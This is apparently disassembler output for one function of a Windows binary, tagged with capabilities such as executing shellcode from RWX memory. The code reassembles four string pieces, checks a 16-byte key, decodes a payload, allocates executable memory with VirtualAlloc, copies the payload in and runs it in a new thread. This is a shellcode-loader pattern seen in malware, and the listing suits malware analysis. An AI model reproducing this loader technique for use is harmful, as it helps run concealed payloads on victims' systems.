Function at 0x140001bd3
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.print_help__
lea rax, [rbp + 0x90]
lea rdx, str.shellcodetest1.x00.fi
mov rcx, rax
call sym.x5_abi:cxx11__char_const_
lea rax, [rbp + 0x70]
lea rdx, str.shellcodetest2.x00.fi
mov rcx, rax
call sym.x5_abi:cxx11__char_const_
lea rax, [rbp + 0x50]
lea rdx, str.shellcodetest3.x00.fi
mov rcx, rax
call sym.x5_abi:cxx11__char_const_
lea rax, [rbp + 0x30]
lea rdx, str.shellcodetest4.x00.fi
mov rcx, rax
call sym.x5_abi:cxx11__char_const_
lea rax, [rbp + 0x90]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
jne 0x140001c80
lea rax, [rbp + 0x70]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
jne 0x140001c80
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
jne 0x140001c80
lea rax, [rbp + 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
je 0x140001c87
mov eax, 1
jmp 0x140001c8c
mov eax, 0
test al, al
je 0x140001c9a
mov ebx, 1
jmp 0x140001f4c
lea rax, [rbp + 0xd0]
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11:
lea rax, [rbp + 0xb0]
lea rcx, [rbp + 0x50]
lea rdx, [rbp + 0xd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x10]
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0xb0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf0]
lea rdx, [rbp + 0x10]
mov rcx, rax
call sym.x16_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp + 0xf0]
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x10]
mov rcx, rax
call sym.x12_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.empty___const
test al, al
je 0x140001d6b
mov ebx, 1
jmp 0x140001f34
lea rax, [rbp - 0x30]
lea rdx, str.shellkey.x00.fi
mov rcx, rax
call sym.x5_abi:cxx11__char_const_
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
cmp rax, 0x10
setne al
test al, al
je 0x140001d9f
mov ebx, 1
jmp 0x140001f28
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140091b30
lea rax, [rbp + 0x12f]
mov rcx, rax
call sym.std::allocator_unsigned_char_::allocator__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end__
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin__
mov rdx, rax
lea rcx, [rbp + 0x12f]
lea rax, [rbp + 0x110]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___::vector___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_s
lea rcx, [rbp + 0x110]
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call sym.x24_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char_____std::vector_unsigned_char__std::allocator_unsigned_char____const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0x110]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x12f]
mov rcx, rax
call fcn.140068760
test bl, bl
je 0x140001e3f
mov ebx, 1
jmp 0x140001f1c
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0
jne 0x140001e83
mov ebx, 0xffffffff
jmp 0x140001f1c
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp + 0x138]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x138]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x130], rax
cmp qword [rbp + 0x130], 0
jne 0x140001eff
mov ebx, 0xffffffff
jmp 0x140001f1c
mov rax, qword [rbp + 0x130]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140002065
add rsp, 0x1c8
pop rbx
pop rbp
ret